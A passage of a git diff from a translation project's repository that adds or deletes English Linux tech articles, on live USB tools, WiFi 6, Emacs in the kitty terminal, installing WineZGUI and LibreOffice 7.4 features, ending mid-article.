Reddy][a] -选题:[lkxed][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://www.opensourceforu.com/author/tridev-reddy/ -[b]: https://github.com/lkxed -[1]: https://www.opensourceforu.com/wp-content/uploads/2022/04/Integrating-Zeek-with-ELK-Stack-Featured-image.jpg -[2]: https://www.opensourceforu.com/wp-content/uploads/2022/04/Figure-1-Filebeat-config-a.jpg -[3]: https://www.opensourceforu.com/wp-content/uploads/2022/04/Figure-2-Filebeat-config-b.jpg -[4]: https://www.opensourceforu.com/wp-content/uploads/2022/04/Figure-3-local.zeek-file-1.jpg -[5]: https://www.opensourceforu.com/wp-content/uploads/2022/04/Figure-4-zeek.yml-configuration.jpg -[6]: https://www.opensourceforu.com/wp-content/uploads/2022/04/Figure-5-Dashboard-of-Kibana-Destination-Geo.jpg -[7]: https://www.opensourceforu.com/wp-content/uploads/2022/04/Figure-6-Dashboard-of-Kibana-Network-1.jpg -[8]: https://www.opensourceforu.com/wp-content/uploads/2022/04/Figure-7-Filtered-data-by-event.jpg diff --git a/sources/tech/20220608 Rufus for Linux- Here Are the Best Live USB Creating Tools.md b/sources/tech/20220608 Rufus for Linux- Here Are the Best Live USB Creating Tools.md deleted file mode 100644 index 8b1844b50d..0000000000 --- a/sources/tech/20220608 Rufus for Linux- Here Are the Best Live USB Creating Tools.md +++ /dev/null @@ -1,137 +0,0 @@ -[#]: subject: "Rufus for Linux? Here Are the Best Live USB Creating Tools" -[#]: via: "https://itsfoss.com/live-usb-creator-linux/" -[#]: author: "Ankush Das https://itsfoss.com/author/ankush/" -[#]: collector: "lkxed" -[#]: translator: " " -[#]: reviewer: " " -[#]: publisher: " " -[#]: url: " " - -Rufus for Linux? Here Are the Best Live USB Creating Tools -====== -Rufus is an open-source utility to create bootable USB drives. It is straightforward to use, with available options to tweak as per your requirements. Not just the ease of use, it is also incredibly fast to make bootable USB drives. - -Unfortunately, Rufus is not available for Linux, it is only exclusive to Windows. So, most of us who have used it on Windows, look for Rufus alternatives on Linux. - -If you are in the same boat, fret not, we have some excellent alternatives for various use-cases. - -Let us explore some Rufus alternatives for Linux: - -### 6 Best Live USB Creation Tools for Linux - -All the options listed are entirely open-source and work perfectly fine with Linux distributions. - -**Note:** *The list is in no particular order of ranking.* - -#### 1. BalenaEtcher - -![balena etcher 2022][1] - -BalenaEtcher or Etcher is a good option for multiple platforms (Windows, macOS), including Linux users. - -You do not get any advanced options here. Hence, it is pleasantly easy to use. Simply select the ISO (image file) and proceed to flash it on the target USB drive. - -It is completely open-source and validates your drive after the process. Furthermore, it auto-selects connected USB drives to avoid choosing any hard disk if you accidentally wipe it. - -You can refer to our [handy guide][2] to install it on Linux. - -[BalenaEtcher][3] - -#### 2. Fedora Media Writer - -![fedora media writer][4] - -Fedora Media Writer is particularly known to help you create live USB for Fedora Linux distribution. It can download the ISO file for you if you do not have it already. - -It is also an excellent utility to fix your USB drive if you cannot format it for an issue caused by other bootable USB creation tools. - -Fret not, you can also select a custom image (apart from Fedora Linux) to create a bootable USB. - -You can find the [Flatpak][5] package on Flathub for the latest version on any Linux distribution. Refer to our [Flatpak guide][6] if you’re new to this. - -[Fedora Media Writer][7] - -#### 3. Startup Disk Creator - -![startup disk creator][8] - -If you are using Ubuntu on your system, you already have a bootable USB creator pre-installed, i.e., Startup Disk Creator. - -You can use it to select the desired ISO file (preferably any Ubuntu version) and choose the target USB device to proceed. - -Once you confirm the action, it will proceed with writing the data to complete the bootable drive. - -#### 4. SUSE Studio Imagewriter - -![imagewriter suse][9] - -SUSE Studio Imagewriter is a simple live USB creator. - -I did not find it in the software center for Ubuntu, but it was available in the community repositories (Manjaro) and AUR. So, you can take a look at it if it is available for your Linux distribution. - -[SUSE Studio Imagewriter][10] - -#### 5. UNetbootin - -![unetbootin][11] - -UNetbootin is a live USB creator that supports Linux, Windows, and macOS. You get a few options to tweak, in case you want to explore all the available drives, and can also select a distribution to download the ISO file automatically. - -It is not specific for any Linux distribution, unlike some options above. So, it supports a wide variety of distributions and system utilities. - -[UNetbootin][12] - -#### 6. Ventoy - -![ventoy screenshot 2022][13] - -Ventoy is an interesting bootable USB solution that lets you simply copy-paste the image to create a live USB drive. - -You only have to install Ventoy to the USB drive, which makes two separate partitions. One of the partitions is used to store ISO images that you can simply paste into the USB drive to make it bootable. - -Interestingly, you can also use it to [create multiboot USB][14]. - -It is available for Windows and Linux. - -[Ventoy][15] - -### Wrapping Up - -Ventoy seems like an exciting choice among the options above if you need multiple Linux distributions on your USB drive without needing to repeatedly flash it. - -For simplicity, distro-specific tools can be a good pick, like Startup Disk Creator for Ubuntu, and Fedora Image Writer for Fedora Linux. - -SUSE Image Studio is an interesting option, but may not be the most convenient one. - -If you do not have any specific preferences, BalenaEtcher should be a straightforward option, with UNetbootin as a suitable alternative to it. - -What do you prefer to create a bootable USB drive? Let me know your thoughts in the comments below. - --------------------------------------------------------------------------------- - -via: https://itsfoss.com/live-usb-creator-linux/ - -作者:[Ankush Das][a] -选题:[lkxed][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://itsfoss.com/author/ankush/ -[b]: https://github.com/lkxed -[1]: https://itsfoss.com/wp-content/uploads/2022/06/balena-etcher-2022-800x537.png -[2]: https://itsfoss.com/install-etcher-linux/ -[3]: https://www.balena.io/etcher/ -[4]: https://itsfoss.com/wp-content/uploads/2022/06/fedora-media-writer.png -[5]: https://itsfoss.com/what-is-flatpak/ -[6]: https://itsfoss.com/flatpak-guide/ -[7]: https://flathub.org/apps/details/org.fedoraproject.MediaWriter -[8]: https://itsfoss.com/wp-content/uploads/2022/06/startup-disk-creator.png -[9]: https://itsfoss.com/wp-content/uploads/2022/06/imagewriter-suse.png -[10]: https://software.opensuse.org/package/imagewriter -[11]: https://itsfoss.com/wp-content/uploads/2022/06/unetbootin.png -[12]: https://unetbootin.github.io/ -[13]: https://itsfoss.com/wp-content/uploads/2022/06/ventoy-screenshot-2022.png -[14]: https://itsfoss.com/multiple-linux-one-usb/ -[15]: https://www.ventoy.net/ diff --git a/sources/tech/20220608 WiFi 6 Promises Much More than Faster Speeds.md b/sources/tech/20220608 WiFi 6 Promises Much More than Faster Speeds.md deleted file mode 100644 index ba0801c1a2..0000000000 --- a/sources/tech/20220608 WiFi 6 Promises Much More than Faster Speeds.md +++ /dev/null @@ -1,95 +0,0 @@ -[#]: subject: "WiFi 6 Promises Much More than Faster Speeds" -[#]: via: "https://www.opensourceforu.com/2022/06/wifi-6-promises-much-more-than-faster-speeds/" -[#]: author: "Sharon Katta https://www.opensourceforu.com/author/sharon-katta/" -[#]: collector: "lkxed" -[#]: translator: " " -[#]: reviewer: " " -[#]: publisher: " " -[#]: url: " " - -WiFi 6 Promises Much More than Faster Speeds -====== -WiFi 6 increases the network connectivity, and has been developed to ensure the trillions of devices connected in the near future continue to work seamlessly and efficiently. Though it was certified in 2019, it faced a few challenges in testing due to the pandemic. This article gives an overview of this technology. - -![WiFi-6][1] - -The next-generation standard in WiFi technology, termed ‘WiFi 6’, is also known as ‘AX WiFi’ or ‘802.11ax’. Developed to meet the exponential increase in demand for devices in the world, it can be used for virtual reality (VR) and smart home devices as well. It is an improvement on the current 802.11ac WiFi standard and meets current challenges in terms of capacity, efficiency, coverage and performance. - -![Figure 1: WiFi 6][2] - -Researched in 2014, this standard was invented in 2018 and launched by the IEEE High Efficiency WLAN Study Group (HEW SG). It began certifications in late 2019, with Samsung’s Galaxy Note 10 and Ruckus R750 employing this technology. Specified to operate between the 1GHz and 6GHz bands, WiFi 6 focuses mainly between the 2.4GHz and 5GHz frequencies. - -In an average household today, nine devices are connected to WiFi. WiFi 6 aims at improving the network rather than boosting the speed for individual devices. - -### Features of WiFi 6 - -**Multi-user, multi-input, multi-output (MU-MIMO):** This communication between routers and multiple devices concurrently. It supports four simultaneous data streams, added to which one user can have a considerable bandwidth of incoming data from a smart router, both on the 2.4GHz and 5GHz frequencies. -**1024-QAM:** This helps WiFi 6 encode more bits per packet. There is a 25 per cent increase in throughput. Not only does it improve efficiency in high-traffic situations, it also maximises data rates. This is a huge advantage for modern enterprise applications. -**Orthogonal frequency-division multiplexing (OFDM):** This allows four times as many subcarriers and increases speed by 11 per cent. The expanded signal allows for greater simultaneous packet delivery across users. Hence, the wait time between packets and latency is reduced. -*Increased channel width:* The 160MHz channel communication is added to the 80MHz band, thus doubling the channel width. This allows routers to handle more users and provide larger streams per user. -*Target wake time (TWT):* This feature is unique to WiFi 6. It allows each device to independently negotiate wake time for transmission and reception. This helps to increase total sleep time and maximise battery life. TWT enables many additional networking options, especially for IoT devices. -*Improved security:* All WiFi 6 devices will need to include Wi-Fi Protected Access 3 (WPA3). This will lead to encryption of unauthenticated traffic, robust password protection against brute-force dictionary attacks, and superior data reliability for sensitive information with 192-bit encryption. -*Beamforming:* With eight support antennas, beamforming helps to improve data rates, and the range is extended by directing signals towards specific clients at once. It offers a backup for rapidly moving devices that may face issues with MU-MIMO. Beamforming also helps to control transmissions from antennas that cause signals to interfere on purpose. The signal can then be redirected to a new direction. - -### Devices that support WiFi 6 - -Until recently, WiFi 5 was the standard used for routers, repeaters, mesh networks and many WiFi clients. WiFi 6 was launched in 2019. There will be some compatibility issues for the earlier devices that supported WiFi 5 — they will be able to utilise the WiFi 6 network but not be able to receive support for the same. - -WiFi 6 routers are backward-compatible, and it is better to make sure that the network is ready for that. - -WiFi 6 enables lower battery consumption, making it a great choice for any environment, including the Internet of Things (IoT). It reduces unnecessary data activity, and tells devices when to put their data to sleep and when to be active. As a result, unnecessary data activity is reduced, and performance and battery life are maximised. - -The Samsung Galaxy Note 10 and Ruckus R750 were the world’s first smartphone and access point certified to support Wi-Fi 6, with the latest generation of the Apple iPhone following suit. The Wi-Fi Alliance has set up its certification programme, and new wireless products hitting the market are expected to start applying for compliance certification. The devices listed below are already WiFi 6 enabled: - -* iPhone 11 and after -* Samsung Galaxy S10, S20, Note 10, and Note 20 -* Apple computers with M1 processors -* Smart TVs - -> To take advantage of the improvements in the 802.11ax standard fully, both hardware and software functionalities have to be built on this WiFi technology. - -### Hardware testing - -To unlock the full potential of the latest devices, a WiFi 6 router is needed to run the network. This was an expensive affair a few years ago, but now we have a number of options even for mesh systems, gaming routers, range extenders, and more. The best purchase can be made only when hands-on testing is done. Beating all its competitors, the current king in terms of speed for WiFi 6 routers is TP-Link Archer AX6000. This router was able to transmit data wirelessly at a rate of 1523 Mbps up to a distance of 1.5 metres (5 feet). - -One important thing to remember here is that these routers do not magically increase speeds. The theoretical maximum of achieving 9.6 Gbps is unlikely. This high theoretical speed can be split up across a whole network of devices. - -WiFi 6 emphasises quality connectivity in areas where connected devices are densely populated. It does not increase the speed of each device exponentially but ensures these operate at an optimum level. - -Only the combination of a faster plan from the Internet service providers (ISPs) along with the WiFi 6 router, can fulfil its true potential. The real challenge is for the ISPs, as they need new fibre rollouts to capitalise on this next-gen technology. An important question is: when faster ISP speeds come, will the existing hardware become redundant? - -### Applications of WiFi 6 - -**Large public venues (LPVs):** Stadiums and convention centres are a few of the common areas where thousands of devices connect to WiFi at the same time. WiFi 6 can help to improve attendee experiences, increase customer interactions, and create value-added services like viewing instant replays or ordering food from one’s seat at an event. WiFi 6 allows LPV owners to create new business opportunities. -**Transport hubs:** Public transport stations are also an area where people attempt to connect to the network simultaneously. OFDMA and BSS colouring in WiFi 6 provide the necessary tools needed to overcome this challenge. -**IoT and smart city deployments:** Power efficiencies in WiFi 6 enable IoT devices to go into sleep mode and turn on their transmitters at predefined intervals to prolong field time without much maintenance. -**Education:** Libraries, auditoriums, and lecture halls at college and university campuses have the highest density of WiFi users during the day, and almost no one at night. WiFi 6 is a perfect choice in this situation. - -### The challenges - -WiFi 6 does not promise an increase in speed, but is an upgrade designed to make sure the speeds of our devices within a given range/area doesn’t slow down a few years down the road. There are three major challenges it faces though, which are often overlooked. -Improving the functionality of unsupported devices: Even though WiFi 6 is backward- compatible, justice to it can only be done when this technology is used to the maximum. This means devices need to be upgraded each time. - -Speed and performance outside the internal network: WiFi 6 can provide excellent connectivity for services like cloud file shares. However, the assets and resources of ISPs can affect speed and performance. - -*Coverage issues:* Transmission and bandwidths are capped according to the regulations prevalent in each country. Hence, the coverage of WiFi 6 may be restricted to ensure this cap is met. - -In spite of these challenges, companies like Aruba, Asus, AT&T, Boingo, Broadcom, Cisco, Comcast, CommScope, Cypress, Extreme Networks, Intel, Netgear, Orange, Qualcomm, TP-Link and Xiaomi are all focusing on the potential WiFi 6 has. - -(LCTT 译注:选题删除了原文中的相关产品推荐部分。) - --------------------------------------------------------------------------------- - -via: https://www.opensourceforu.com/2022/06/wifi-6-promises-much-more-than-faster-speeds/ - -作者:[Sharon Katta][a] -选题:[lkxed][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://www.opensourceforu.com/author/sharon-katta/ -[b]: https://github.com/lkxed -[1]: https://www.opensourceforu.com/wp-content/uploads/2022/05/WiFi-6.jpg -[2]: https://www.opensourceforu.com/wp-content/uploads/2022/05/WiFi-6-1.jpg diff --git a/sources/tech/20220608 slimmer emacs with kitty.md b/sources/tech/20220608 slimmer emacs with kitty.md new file mode 100644 index 0000000000..b2ad6ad1ff --- /dev/null +++ b/sources/tech/20220608 slimmer emacs with kitty.md @@ -0,0 +1,94 @@ +[#]: subject: "slimmer emacs with kitty" +[#]: via: "https://jao.io/blog/slimmer-emacs-with-kitty.html" +[#]: author: "jao https://jao.io" +[#]: collector: "lujun9972" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +slimmer emacs with kitty +====== + +A problem of using Emacs as my operating system is that any otherwise minor friction with its interface quickly becomes an irritant, and i thus find myself needed a truly smooth emacs-human interaction; or, to be more precise _emacs-jao_ interaction: my must needs are going to be, sometimes, triffles to you, and the other way round. + +During the last year, a perceived sluggishness in Emacs's X11 display performance, together with a very noticeably increased RAM consumption have become one of those irritants, and i decided that enough is enough, and moved (for the time being at least) from exwm to, essentially, using xmonad and kitty as my Emacs's display engine. + +![][1] + +For several years now, i've been using exwm as my main desktop, and been quite happy with it. One of the reasons is that i almost don't get bit by blocking external programs because, well, i don't use many external programs. It's still a bit annoying when every now and then emacs gets stuck in a busy loop and i have to wait to regain control of my computer (since emacs is single threaded), and for that reason, i also have an [xmonad configuration][2] tailored to essentially use emacs for everything, with an occasional detour to a web browser or maybe a video player. That way, if emacs gets stuck, i can do something else, and, also, i don't need to restart my desktop when i recompile Emacs. + +Before that, i had been using emacs as a daemon and `emacsclient -t` in an `rxvt` terminal as my primary emacs interface for many years. The limitations weren't many for my use cases: one cannot display images, but it's very easy to set up things so that one gets a, say, `feh` pop up when needed (which is not often) or open an `eww` buffer in Firefox instead; and one cannot display PDFs inside Emacs. That last one was harder, because i keep my notes (using a [very simple library of mine][3]) in org mode with links to PDFs and need to be able to easily go from one to the other. I found a good (for my needs) solution for the latter too, but well, running Emacs under X11 (or even under wayland in sway) also worked and was convenient, so i thoght my terminal days were just a fond memory. + +Until a year or so ago, when i started noticing my X11 Emacs instance consuming considerably more RAM (as in, 5 times what it used to need for long running sessions… still more or less what a "modern" browser takes, i know, but i don't want my Emacs to resemble a browser in any way). I normally run Emacs compiled from master, so hiccups happen and i didn't panic: there probably was some accidental leak that would be fixed and i could even help locating it. Unfortunately, with the release of Emacs 28, this higher memory needs seem consolidated (and no, i don't use native compilation, so they don't come from there), as is the tendency to eat more memory as the session grows longer (without changes in my usage patterns, the RSS footprint of the process tends to increase at least 500Mb per day). And, even more unfortunately, i seem to be the only person on earth suffering from this: i haven't found yet any fellow emacser observing the problem, and, although i've tried, i couldn't find a single package (or combination thereof) causing this issue. Except, that is, for the X11 display mode. + +Fact is, if i run emacs in a terminal with the same packages as normal and with the same usage patterns (which are essentially the same as when i use it in X11), there is no memory leak. Once i load the standard set of packages i use (chats, eww, notmuch, cider, that kind of thing, plush all [my customizations][4]), an X11 emacs will take around 500Mb RAM, while a terminal one is happy with 250Mb. And that's fair enough. Problem is, after 3 or 4 days using the X11 version, RAM is consumption jumping to 3 or 4 Gb, while a terminal-based emacs used in essentially the same way will typically be around 500Mb. + +Thanks to the experiment above, i'm reasonably sure that the graphical interface is at the root of my memory woes. That by itself would have already been enough to seriously consider a return to my emacs daemon days, but there was more: using emacs in an X terminal after all this time, really made me realize how slow the rendering in X11 Emacs is by comparison. I mean, rendering in X11 is not slow in absolute terms, it's perfectly usable in my experience; but, in a terminal? let me tell you, it's _fast_, an a real pleasure to use. + +So all i needed was to smooth out a few wrinkles and it'd be a done deal. First thing was to try with [kitty][5] as terminal emulator, just because it's the one i use these days and i like how it's developed. It took a bit of wrestling to make sure that my usual keybindings (or slight modifications of them) would work, and also some documentation reading to come up with a good configuration, but it wasn't too hard: you can find my `kitty.conf` [here][6]. A point worth making is that running Emacs with kitty as a graphical frontend is, for practical purposes, very close to running Emacs in "graphical mode"; for instance, kitty has background transparency, uses the same font rendering engine ([HarfBuzz][7]) as X11 Emacs, and it's perfectly able to display things like emojis; it just does all that faster! One only needs to get rid of the discontinuous vertical separators in Emacs: + +``` + + (set-display-table-slot standard-display-table 'vertical-border (make-glyph-code ?│)) + +``` + +and also clean up the end of the modeline: + +``` + + (setq mode-line-end-spaces nil) + +``` + +and then you get the screenshot above of some random buffers in and emacs running with the config above (and my regular color theme): as you can see, hard to distinguish from an X session. + +Also, i definitely needed to interact seamlessly with the X clipboard, as you'd do in X11 Emacs: + +``` + + (use-package xclip + :ensure t) + + (unless (display-graphic-p) (xclip-mode 1)) + +``` + +As mentioned, i delegate image display to `feh` and `firefox` in the few cases i need it, and interplay with `zathura` to handle PDFs and my associated notes, but that's stuff for a future post[1][8]. With that in place, i'm finding myself pretty comfortable living in terminal Emacs most of my time. + +Speedy hacking! + +### Footnotes: + +[1][9] + +The gist of it is pretty simple though, and it's basically distilled in [this section][10] of my configuration. + +[Tags][11]: [emacs][12] + +-------------------------------------------------------------------------------- + +via: https://jao.io/blog/slimmer-emacs-with-kitty.html + +作者:[jao][a] +选题:[lujun9972][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://jao.io +[b]: https://github.com/lujun9972 +[1]: https://jao.io/img/emacs-kitty.png +[2]: https://codeberg.org/jao/xmonad-config +[3]: https://codeberg.org/jao/elibs/src/branch/main/lib/doc/jao-org-notes.el +[4]: https://codeberg.org/jao/elibs/src/branch/main +[5]: https://sw.kovidgoyal.net/kitty/ +[6]: https://codeberg.org/jao/elibs/src/branch/main/data/kitty.conf +[7]: https://en.wikipedia.org/wiki/HarfBuzz +[8]: tmp.cmx0w4nr81#fn.1 +[9]: tmp.cmx0w4nr81#fnr.1 +[10]: https://codeberg.org/jao/elibs/src/main/init.el#L1595 +[11]: https://jao.io/blog/tags.html +[12]: https://jao.io/blog/tag-emacs.html diff --git a/sources/tech/20220610 Run Windows Apps And Games Using WineZGUI On Linux.md b/sources/tech/20220610 Run Windows Apps And Games Using WineZGUI On Linux.md deleted file mode 100644 index 5f4fc0ecf7..0000000000 --- a/sources/tech/20220610 Run Windows Apps And Games Using WineZGUI On Linux.md +++ /dev/null @@ -1,181 +0,0 @@ -[#]: subject: "Run Windows Apps And Games Using WineZGUI On Linux" -[#]: via: "https://ostechnix.com/winezgui-run-windows-apps-and-games-on-linux/" -[#]: author: "sk https://ostechnix.com/author/sk/" -[#]: collector: "lkxed" -[#]: translator: "geekpi" -[#]: reviewer: " " -[#]: publisher: " " -[#]: url: " " - -Run Windows Apps And Games Using WineZGUI On Linux -====== -WineZGUI - A Wine GUI Frontend Using Zenity - -A while ago we wrote about **[Bottles][1]**, an opensource graphical application easily to run Windows software and Games on Linux operating systems. Today, we will discuss about a similar interesting project. Say hello to **WineZGUI**, a Wine GUI frontend to **[run windows apps and games with wine on Linux][2]**. - -#### Contents - -1. What Is WineZGUI? -2. Bottles Vs WineZGUI -3. How To Install WineZGUI In Linux -4. Run Windows Apps And Games With WineZGUI In Linux -5. Conclusion - -### What Is WineZGUI? - -WineZGUI is a collection of Bash scripts that allows you to easily manage wine prefixes and provides easier wine gaming experience on Linux using **Zenity**. - -Using WineZGUI, we can directly launch the Windows exe files or games from File manager without installing them. - -WineZGUI creates shortcut for each application or game for easier access and also creates separate prefixes for each exe binary file. - -When you launch a Windows exe file with WineZGUI, it will prompt you whether to use the default wine prefix or create a new one. The default prefix is `~/.local/share/winezgui/default`. - -If you choose to create a new prefix for the windows binary or exe, WineZGUI will try to extract the product name and icon from the exe file and it creates a desktop shortcut. - -When you launch the same exe or binary file later, it will recommend you to run it with the associated prefix earlier. - -To put this layman terms, WineZGUI is simply a Wine and winetricks simple GUI for official vanilla wine. Wine prefix setup is automatic when we launch an exe to play a game. - -You simply open an exe and it creates a prefix and a desktop shortcut with name and icon extracted from that exe. - -It uses **exiftool** and **icotool** utilities to extract the name and icon respectively. Either you can open an exe to launch that game from existing prefix, or use desktop shortcut. - -WineZGUI is a shell script that is freely hosted in GitHub. You can grab the source code, improve it, fix bugs and add features. - -### Bottles Vs WineZGUI - -You might wonder how does WineZGUI compare with Bottles. There is a subtle difference between these applications though. - -**Bottles is prefix oriented** and **runner oriented**. Meaning - Bottles first creates a prefix then use different exe files with it. Bottles does not remember exe's prefix. Bottles uses different runners. - -**WineZGUI is exe oriented**. It uses exe to create one prefix for that exe only. Next time we open an exe, it will ask whether to launch with existing exe prefix. - -WineZGUI does not offer advanced features like **bottles** or **[lutris][3]** do, like runners, online installers, etc. - -### How To Install WineZGUI In Linux - -Make sure you have installed the necessary prerequisites for WineZGUI. - -**Debian/Ubuntu:** - -``` -$ sudo dpkg --add-architecture i386 -$ sudo apt install zenity wine winetricks libimage-exiftool-perl icoutils gnome-terminal -``` - -**Fedora:** - -``` -$ sudo dnf install zenity wine winetricks perl-Image-ExifTool icoutils gnome-terminal -``` - -The officially recommended way to install WineZGUI is by using **[Flatpak][4]**. - -After installing Flatpak, run the following commands one by one to install WineZGUI in Linux. - -``` -$ flatpak --user remote-add --if-not-exists flathub https://flathub.org/repo/flathub.flatpakrepo -``` - -``` -$ flatpak --user -y install flathub org.winehq.Wine/x86_64/stable-21.08 -``` - -``` -$ wget https://github.com/fastrizwaan/WineZGUI-Releases/releases/download/WineZGUI-0.4_20220608/io.github.WineZGUI_0_4_20220608.flatpak -``` - -``` -$ flatpak --user -y install io.github.WineZGUI_0_4_20220608.flatpak -``` - -### Run Windows Apps And Games With WineZGUI In Linux - -Launch WineZGUI from Dash or Menu. - -![Launch WineZGUI][5] - -This is how the default interface of WineZGUI looks like. - -![WineZGUI Interface][6] - -As you can see in the above screenshot, WineZGUI interface is very simple and easy to understand. From the main window, you can, - -* Open an EXE file, -* Open Winetricks GUI and CLI, -* Launch Wine configuration, -* Launch explorer, -* Open BASH shell, -* Kill all apps/games including WineZGUI interface, -* Delete wine prefix, -* View installed WineZGUI version. - -For the purpose of the demonstration, I am going to open an .exe file. - -In the next window, choose the EXE file to run. In my case, it is WinRAR. - -![Choose The EXE File To Run][7] - -Next, whether you want to run the EXE file with default prefix or create a new prefix. I choose default prefix. - -![Run WinRAR With Default Prefix][8] - -A few seconds later, the WinRAR setup wizard will appear. Click Install to continue. - -![Install WinRAR In Linux][9] - -Click OK to complete the WinRAR installation. - -![Complete WinRAR Installation][10] - -Click "Run WinRAR" to launch it. - -![Run WinRAR][11] - -Here is WinRAR running in my Fedora 36 desktop! - -![WinRAR Is Running In Fedora Using Wine][12] - -### Conclusion - -WineZGUI is a newcomer to the club. If you're looking for an easier way to run Windows apps and games using Wine on a Linux desktop, WineZGUI might be a good choice. - -With the help of WineZGUI, the users have an option to create a wine prefix right at same folder as the `.exe` and creating a relatively-linked `.desktop` entry to automatically do so. - -The reason being that it's easier to back up and delete a game along with the wine prefix, and having it generate a `.desktop` would make it resilient to being moved and transferred. - -A cool use-case would be to setup using the app, then share the wine prefix to your friend and others who just want a working wine prefix with all the dependencies, saves, etc. - -Give it a try and let us know what do you think about this project in the comment section below. - -**Resource:** - -* [WineZGUI GitHub Repository][13] - --------------------------------------------------------------------------------- - -via: https://ostechnix.com/winezgui-run-windows-apps-and-games-on-linux/ - -作者:[sk][a] -选题:[lkxed][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://ostechnix.com/author/sk/ -[b]: https://github.com/lkxed -[1]: https://ostechnix.com/run-windows-software-on-linux-with-bottles/ -[2]: https://ostechnix.com/run-windows-games-softwares-ubuntu-16-04/ -[3]: https://ostechnix.com/manage-games-using-lutris-linux/ -[4]: https://ostechnix.com/how-to-install-and-use-flatpak-in-linux/ -[5]: https://ostechnix.com/wp-content/uploads/2022/06/Launch-WineZGUI.png -[6]: https://ostechnix.com/wp-content/uploads/2022/06/WineZGUI-Interface.png -[7]: https://ostechnix.com/wp-content/uploads/2022/06/Choose-The-EXE-File-To-Run.png -[8]: https://ostechnix.com/wp-content/uploads/2022/06/Run-WinRAR-With-Default-Prefix.png -[9]: https://ostechnix.com/wp-content/uploads/2022/06/Install-WinRAR-In-Linux.png -[10]: https://ostechnix.com/wp-content/uploads/2022/06/Complete-WinRAR-Installation.png -[11]: https://ostechnix.com/wp-content/uploads/2022/06/Run-WinRAR.png -[12]: https://ostechnix.com/wp-content/uploads/2022/06/WinRAR-Is-Running-In-Fedora-Using-Wine.png -[13]: https://github.com/fastrizwaan/WineZGUI diff --git a/sources/tech/20220612 LibreOffice 7.4- Top New Features and Release Details.md b/sources/tech/20220612 LibreOffice 7.4- Top New Features and Release Details.md deleted file mode 100644 index cd0c22d2a7..0000000000 --- a/sources/tech/20220612 LibreOffice 7.4- Top New Features and Release Details.md +++ /dev/null @@ -1,151 +0,0 @@ -[#]: subject: "LibreOffice 7.4: Top New Features and Release Details" -[#]: via: "https://www.debugpoint.com/2022/06/libreoffice-7-4/" -[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" -[#]: collector: "lkxed" -[#]: translator: " " -[#]: reviewer: " " -[#]: publisher: " " -[#]: url: " " - -LibreOffice 7.4: Top New Features and Release Details -====== -This post contains the top new features of LibreOffice 7.4 (upcoming) across Writer, Calc, Impress and other core modules. - -**This post contains the top new features of LibreOffice 7.4 (upcoming) across Writer, Calc, Impress and other core modules.** - -The LibreOffice team improves the famous free and open-source office product with each iteration. Perhaps the only stable and well-managed open-source project as a replacement to Microsoft Office. - -The LibreOffice 7.4 version (planned in August), bringing regular updates to core modules including Calc, Writer and Impress with features and enhancements. Furthermore, in this release, the compatibility with Microsoft Office improved with changes to the core filters and platform updates. - -Before we round up the new features, here’s a tentative schedule for LibreOffice 7.4: - -### Schedule - -| Milestone | Release Date | -| :- | :- | -| Alpha 1 | May 9, 2022 – May 15, 2022 | -| Feature Freeze | Jun 6, 2022 – Jun 12, 2022 | -| Beta 1 | Jun 6, 2022 – Jun 12, 2022 | -| RC1 | Jul 4, 2022 – Jul 10, 2022 | -| RC2 | Jul 25, 2022 – Jul 31, 2022 | -| RC3 | Aug 8, 2022 – Aug 14, 2022 | -| Release 7.4 | Aug 15, 2022 – Aug 21, 2022 | - -### LibreOffice 7.4 Features - -#### Calc - -First and foremost, the most crucial change coming in 7.4 is the support of 16k columns in LibreOffice Calc. It was available in earlier LibreOffice 7.3 but hidden as an experimental option. Finally, it is open to support 16384 columns, i.e. up to XFD. Additional columns are going to help several high-volume data work. - -![LibreOffice 7.4 Calc now supports 16k columns.][1] - -Second, the Autosum button gets the following [additional functions][2] to improve productivity and save time. - -* COUNTA -* PRODUCT -* STDEV -* STDEVP -* VAR -* VARP - -![Additional options in Autosum button][3] - -Moreover, the height of the formula bar is now part of the *.ods files. Hence, you can see the height retained after saving the file and opening it. Earlier, it was being reset to the default height. It is one of the small changes but has a more significant impact on heavy Calc users. - -![Height of Calc Formula bar][4] - -In addition, a new menu option `Sheet > Navigate > Go to Sheet` shows an entire new dialog which is similar to the Writer’s Go to Page. - -#### Writer - -Firstly, the hyphenation settings get three new options. You can now specify the size of the hyphenation zone, minimum word length and ability to stop hyphenating the last word. - -![New Hyphenation settings][5] - -*Image credit: LibreOffice Team* - -Secondly, the menu item Tools > Update > Update now updates the preview of all OLE objects. Also, if you are importing a DOCX file in LibreOffice 7.4, the paragraph borders bring more clarity. In addition, the import also improves the Rich text and checkbox contents inside the text box for DOCX imports. Moreover, Write 7.4 now supports clearing breaks from Word files improving layout consistency. - -Secondly, the menu item `Tools > Update > Update all` now updates the preview of all OLE objects. - -Also, if you are importing a DOCX file in LibreOffice 7.4, the paragraph borders bring more clarity. In addition, the import also improves the Rich text and checkbox contents inside the text box for DOCX imports. - -Moreover, Writer 7.4 now supports clearing breaks from Word files improving layout consistency. - -#### Impress - -The significant change in Impress is a new Theme tab in the Slide properties for the master slide. It contains several accent colour options which control all the sildes in your presentation. It will be a really neat feature in this version. - -![New Theme option in Slide Master Properties][6] - -### Common Updates (across all modules) - -Firstly, the most important change as a standard feature is LibreOffice now supports WEBP images officially. You can directly export and import WebP images across Writer, Calc, Draw etc. Now you do not need additional software to 